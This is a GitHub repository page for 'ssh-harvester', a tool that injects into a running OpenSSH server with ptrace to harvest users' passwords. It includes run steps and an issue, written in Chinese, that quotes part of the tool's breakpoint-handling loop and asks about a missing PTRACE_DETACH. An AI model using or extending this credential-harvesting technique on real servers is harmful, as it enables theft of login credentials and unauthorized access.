jm33-m0 / ssh-harvester

Harvest passwords automatically from OpenSSH server

SSH-Harvester

Harvest passwords automatically from OpenSSH server

Tested on OpenSSH portable 8.2p1 and 9.3p1.

For testing purposes, download a OpenSSH stable release from mirrors

How to use

Just use emp3r0r when possible. However, if you find bugs of this C version, please send a fix

sudo ./start_sshd.sh

# in another terminal
./inject.sh

# then
ssh -p2222 user@localhost

# check what happens

How does it work

c-ssh-harvester.mp4

See my blog post

ssh-harvester's Issues

ssh_harvester函数执行结束时为什么不调用ptrace(PTRACE_DETACH, pid)

请问，在ssh_harvester函数中，在执行到这段代码时

SSH-Harvester/ssh_harvester.c

Lines 245 to 260 in 9ca291b

	if (waitpid(pid, &wstatus, (WCONTINUED | WSTOPPED | WUNTRACED)) < 0) {
	perror("continuing from SINGLESTEP");
	ptrace(PTRACE_DETACH, pid);
	pthread_exit(NULL);
	}
	puts("[*] Added breakpoint back");
	// if the tracee has exited
	if (WIFEXITED(wstatus)) {
	printf("[-] SSHD session ends (pid: %d)\n", pid);
	pthread_exit(NULL);
	}
	// continue this session
	// loop
	puts("[+] SSHD continues...\n\n");
	pthread_exit(NULL);

如果条件语句为false，代表再次执行到了之前设置的int3断点处，并且打印了相关提示信息（puts("[*] Added breakpoint back")），之后不是应该重新获取密码的值吗？
为什么之后直接调用了pthread_exit(NULL)退出了ssh_harvester函数，并且不调用ptrace(PTRACE_DETACH, pid)结束对这个ssh子进程的追踪